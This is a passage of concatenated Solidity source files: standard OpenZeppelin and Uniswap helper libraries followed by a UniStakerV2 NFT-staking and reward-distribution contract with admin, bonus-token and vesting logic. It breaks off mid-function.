`tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* solhint-disable max-line-length */ /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator( bytes32 typeHash, bytes32 name, bytes32 version ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, name, version, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal view virtual returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal view virtual returns (bytes32) { return _HASHED_VERSION; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; interface IERC1271 { function isValidSignature(bytes32 _messageHash, bytes memory _signature) external view returns (bytes4 magicValue); } library SignatureChecker { function isValidSignature( address signer, bytes32 hash, bytes memory signature ) internal view returns (bool) { if (Address.isContract(signer)) { bytes4 selector = IERC1271.isValidSignature.selector; (bool success, bytes memory returndata) = signer.staticcall(abi.encodeWithSelector(selector, hash, signature)); return success && abi.decode(returndata, (bytes4)) == selector; } else { return ECDSA.recover(hash, signature) == signer; } } } /// @title ERC1271 /// @notice Module for ERC1271 compatibility abstract contract ERC1271 is IERC1271 { // Valid magic value bytes4(keccak256("isValidSignature(bytes32,bytes)") bytes4 internal constant VALID_SIG = IERC1271.isValidSignature.selector; // Invalid magic value bytes4 internal constant INVALID_SIG = bytes4(0); modifier onlyValidSignature(bytes32 permissionHash, bytes memory signature) { require( isValidSignature(permissionHash, signature) == VALID_SIG, "ERC1271: Invalid signature" ); _; } function _getOwner() internal view virtual returns (address owner); function isValidSignature(bytes32 permissionHash, bytes memory signature) public view override returns (bytes4) { return SignatureChecker.isValidSignature(_getOwner(), permissionHash, signature) ? VALID_SIG : INVALID_SIG; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /// @title OwnableByERC721 /// @notice Use ERC721 ownership for access control contract OwnableByERC721 { address private _nftAddress; modifier onlyOwner() { require(owner() == msg.sender, "OwnableByERC721: caller is not the owner"); _; } function _setNFT(address nftAddress) internal { _nftAddress = nftAddress; } function nft() public view virtual returns (address nftAddress) { return _nftAddress; } function owner() public view virtual returns (address ownerAddress) { return IERC721(_nftAddress).ownerOf(uint256(address(this))); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {IUniversalVaultV2} from "../methodNFT/MethodVaultV2.sol"; import {MethodNFTFactory} from "../methodNFT/MethodNFTFactory.sol"; import {IRewardPool} from "./RewardPool.sol"; import {Powered} from "./Powered.sol"; import {IERC2917} from "./IERC2917.sol"; import {ProxyFactory} from "../factory/ProxyFactory.sol"; interface IRageQuit { function rageQuit() external; } interface IUniStakerV2 is IRageQuit { /* admin events */ event UniStakerV2Created(address rewardPool, address powerSwitch); event UniStakerV2Funded(address token, uint256 amount); event BonusTokenRegistered(address token); event BonusTokenRemoved(address token); event VaultFactoryRegistered(address factory); event VaultFactoryRemoved(address factory); event AdminshipTransferred(address indexed previousAdmin, address indexed newAdmin); /* user events */ event Staked(address vault, address token, uint256 tokenId); event Unstaked(address vault, address token, uint256 tokenId); event RageQuit(address vault); event RewardClaimed(address vaultFactory, address recipient, address token, uint256 amount); event VestedRewardClaimed(address recipient, address token, uint amount); /* data types */ struct VaultData { // token address to total token stake mapping mapping(address => uint) tokenStake; EnumerableSet.AddressSet tokens; } struct LMRewardData { uint256 amount; uint256 duration; uint256 startedAt; address rewardCalcInstance; EnumerableSet.AddressSet bonusTokens; mapping(address => uint) bonusTokenAmounts; } struct LMRewardVestingData { uint amount; uint startedAt; } /* getter functions */ function getBonusTokenSetLength() external view returns (uint256 length); function getBonusTokenAtIndex(uint256 index) external view returns (address bonusToken); function getVaultFactorySetLength() external view returns (uint256 length); function getVaultFactoryAtIndex(uint256 index) external view returns (address factory); function getNumVaults() external view returns (uint256 num); function getVaultAt(uint256 index) external view returns (address vault); function getNumTokensStaked() external view returns (uint256 num); function getTokenStakedAt(uint256 index) external view returns (address token); function getNumTokensStakedInVault(address vault) external view returns (uint256 num); function getVaultTokenAtIndex(address vault, uint256 index) external view returns (address vaultToken); function getVaultTokenStake(address vault, address token) external view returns (uint256 tokenStake); function getLMRewardData(address token) external view returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance); function getLMRewardBonusTokensLength(address token) external view returns (uint length); function getLMRewardBonusTokenAt(address token, uint index) external view returns (address bonusToken, uint bonusTokenAmount); function getNumVestingLMTokenRewards(address user) external view returns (uint num); function getVestingLMTokenAt(address user, uint index) external view returns (address token); function getNumVests(address user, address token) external view returns (uint num); function getNumRewardCalcTemplates() external view returns (uint num); function getLMRewardVestingData(address user, address token, uint index) external view returns (uint amount, uint startedAt); function isValidAddress(address target) external view returns (bool validity); function isValidVault(address vault, address factory) external view returns (bool validity); /* user functions */ function stakeERC721( address vault, address vaultFactory, address token, uint256 tokenId, bytes calldata permission ) external; function unstakeERC721AndClaimReward( address vault, address vaultFactory, address recipient, address token, uint256 tokenId, bool claimBonusReward, bytes calldata permission ) external; function claimVestedReward() external; function claimVestedReward(address token) external; } /// @title UniStakerV2 /// @notice Reward distribution contract /// Access Control /// - Power controller: /// Can power off / shutdown the UniStakerV2 /// Can withdraw rewards from reward pool once shutdown /// - Owner: /// Is unable to operate on user funds due to UniversalVault /// Is unable to operate on reward pool funds when reward pool is offline / shutdown /// - UniStakerV2 admin: /// Can add funds to the UniStakerV2, register bonus tokens, and whitelist new vault factories /// Is a subset of owner permissions /// - User: /// Can stake / unstake / ragequit / claim airdrop / claim vested rewards /// UniStakerV2 State Machine /// - Online: /// UniStakerV2 is operating normally, all functions are enabled /// - Offline: /// UniStakerV2 is temporarely disabled for maintenance /// User staking and unstaking is disabled, ragequit remains enabled /// Users can delete their stake through rageQuit() but forego their pending reward /// Should only be used when downtime required for an upgrade /// - Shutdown: /// UniStakerV2 is permanently disabled /// All functions are disabled with the exception of ragequit /// Users can delete their stake through rageQuit() /// Power controller can withdraw from the reward pool /// Should only be used if Owner role is compromised contract UniStakerV2 is IUniStakerV2, Powered { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; /* constants */ string public constant PLATINUM = "PLATINUM"; string public constant GOLD = "GOLD"; string public constant MINT = "MINT"; string public constant BLACK = "BLACK"; uint public PLATINUM_LM_REWARD_MULTIPLIER_NUM = 5; uint public PLATINUM_LM_REWARD_MULTIPLIER_DENOM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_NUM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_DENOM = 1; uint public MINT_LM_REWARD_MULTIPLIER_NUM = 3; uint public MINT_LM_REWARD_MULTIPLIER_DENOM = 2; uint public BLACK_LM_REWARD_MULTIPLIER_NUM = 1; uint public BLACK_LM_REWARD_MULTIPLIER_DENOM = 1; uint public LM_REWARD_VESTING_PERIOD = 7776000; // 3 months uint public LM_REWARD_VESTING_PORTION_NUM = 1; uint public LM_REWARD_VESTING_PORTION_DENOM = 2; // An upper bound on the number of active tokens staked per vault is required to prevent // calls to rageQuit() from reverting. // With 30 tokens staked in a vault, ragequit costs 432811 gas which is conservatively lower // than the hardcoded limit of 500k gas on the vault. // This limit is configurable and could be increased in a future deployment. // Ultimately, to avoid a need for fixed upper bounds, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public MAX_TOKENS_STAKED_PER_VAULT = 30; uint256 public MAX_BONUS_TOKENS = 50; /* storage */ address public admin; address public rewardToken; address public rewardPool; EnumerableSet.AddressSet private _vaultSet; mapping(address => VaultData) private _vaults; EnumerableSet.AddressSet private _bonusTokenSet; EnumerableSet.AddressSet private _vaultFactorySet; EnumerableSet.AddressSet private _allStakedTokens; mapping(address => uint256) public stakedTokenTotal; mapping(address => LMRewardData) private lmRewards; // user to token to earned reward mapping mapping(address => mapping(address => uint)) public earnedLMRewards; // user to token to vesting data mapping mapping(address => mapping(address => LMRewardVestingData[])) public vestingLMRewards; // user to vesting lm token rewards set mapping(address => EnumerableSet.AddressSet) private vestingLMTokenRewards; // erc2917 template names string[] public rewardCalcTemplateNames; // erc2917 template names to erc 2917 templates mapping(string => address) public rewardCalcTemplates; string public activeRewardCalcTemplate; event RewardCalcTemplateAdded(string indexed name, address indexed template); event RewardCalcTemplateActive(string indexed name, address indexed template); /* initializer */ /// @notice Initizalize UniStakerV2 /// access control: only proxy constructor /// state machine: can only be called once /// state scope: set initialization variables /// token transfer: none /// @param adminAddress address The admin address /// @param rewardPoolFactory address The factory to use for deploying the RewardPool /// @param powerSwitchFactory address The factory to use for deploying the PowerSwitch /// @param rewardTokenAddress address The address of the reward token for this UniStakerV2 constructor( address adminAddress, address rewardPoolFactory, address powerSwitchFactory, address rewardTokenAddress ) { // deploy power switch address powerSwitch = IFactory(powerSwitchFactory).create(abi.encode(adminAddress)); // deploy reward pool rewardPool = IFactory(rewardPoolFactory).create(abi.encode(powerSwitch)); // set internal config admin = adminAddress; rewardToken = rewardTokenAddress; Powered._setPowerSwitch(powerSwitch); // emit event emit UniStakerV2Created(rewardPool, powerSwitch); } /* admin functions */ function _admin() private view { require(msg.sender == admin, "not allowed"); } /** * @dev Leaves the contract without admin. It will not be possible to call * `admin` functions anymore. Can only be called by the current admin. * * NOTE: Renouncing adminship will leave the contract without an admin, * thereby removing any functionality that is only available to the admin. */ function renounceAdminship() public { _admin(); emit AdminshipTransferred(admin, address(0)); admin = address(0); } /** * @dev Transfers adminship of the contract to a new account (`newAdmin`). * Can only be called by the current admin. */ function transferAdminship(address newAdmin) public { _admin(); require(newAdmin != address(0), "new admin can't the zero address"); emit AdminshipTransferred(admin, newAdmin); admin = newAdmin; } /// @notice Add funds to UniStakerV2 /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - none /// token transfer: transfer staking tokens from msg.sender to reward pool /// @param amount uint256 Amount of reward tokens to deposit function fund(address token, uint256 amount) external { _admin(); require(_bonusTokenSet.contains(token) || token == rewardToken, "cannot fund with unrecognized token"); // transfer reward tokens to reward pool TransferHelper.safeTransferFrom( token, msg.sender, rewardPool, amount ); // emit event emit UniStakerV2Funded(token, amount); } /// @notice Rescue tokens from RewardPool /// @dev use this function to rescue tokens from RewardPool contract without distributing to stakers or triggering emergency shutdown /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: none /// token transfer: transfer requested token from RewardPool to recipient /// @param token address The address of the token to rescue /// @param recipient address The address of the recipient /// @param amount uint256 The amount of tokens to rescue function rescueTokensFromRewardPool( address token, address recipient, uint256 amount ) external { _admin(); // verify recipient require(isValidAddress(recipient), "invalid recipient"); // transfer tokens to recipient IRewardPool(rewardPool).sendERC20(token, recipient, amount); } /// @notice Add vault factory to whitelist /// @dev use this function to enable stakes to vaults coming from the specified factory contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - append to _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function registerVaultFactory(address factory) external { _admin(); // add factory to set require(_vaultFactorySet.add(factory), "UniStakerV2: vault factory already registered"); // emit event emit VaultFactoryRegistered(factory); } /// @notice Remove vault factory from whitelist /// @dev use this function to disable new stakes to vaults coming from the specified factory contract. /// note: vaults with existing stakes from this factory are sill able to unstake /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function removeVaultFactory(address factory) external { _admin(); // remove factory from set require(_vaultFactorySet.remove(factory), "UniStakerV2: vault factory not registered"); // emit event emit VaultFactoryRemoved(factory); } /// @notice Register bonus token for distribution /// @dev use this function to enable distribution of any ERC20 held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - append to _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function registerBonusToken(address bonusToken) external { _admin(); // verify valid bonus token require(isValidAddress(bonusToken), "invalid bonus token address or is already present"); // verify bonus token count require(_bonusTokenSet.length() < MAX_BONUS_TOKENS, "UniStakerV2: max bonus tokens reached "); // add token to set _bonusTokenSet.add(bonusToken); // emit event emit BonusTokenRegistered(bonusToken); } /// @notice Remove bonus token /// @dev use this function to disable distribution of a token held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function removeBonusToken(address bonusToken) external { _admin(); require(_bonusTokenSet.remove(bonusToken), "UniStakerV2: bonus token not present "); // emit event emit BonusTokenRemoved(bonusToken); } function addRewardCalcTemplate(string calldata name, address template) external { _admin(); require(rewardCalcTemplates[name] == address(0), "Template already exists"); rewardCalcTemplates[name] = template; if(rewardCalcTemplateNames.length == 0) { activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, template); } rewardCalcTemplateNames.push(name); emit RewardCalcTemplateAdded(name, template); } function setRewardCalcActiveTemplate(string calldata name) external { _admin(); require(rewardCalcTemplates[name] != address(0), "Template does not exist"); activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, rewardCalcTemplates[name]); } function startLMRewards(address token, uint256 amount, uint256 duration) external { startLMRewards(token, amount, duration, activeRewardCalcTemplate); } function startLMRewards(address token, uint256 amount, uint256 duration, string memory rewardCalcTemplateName) public { _admin(); require(lmRewards[token].startedAt == 0, 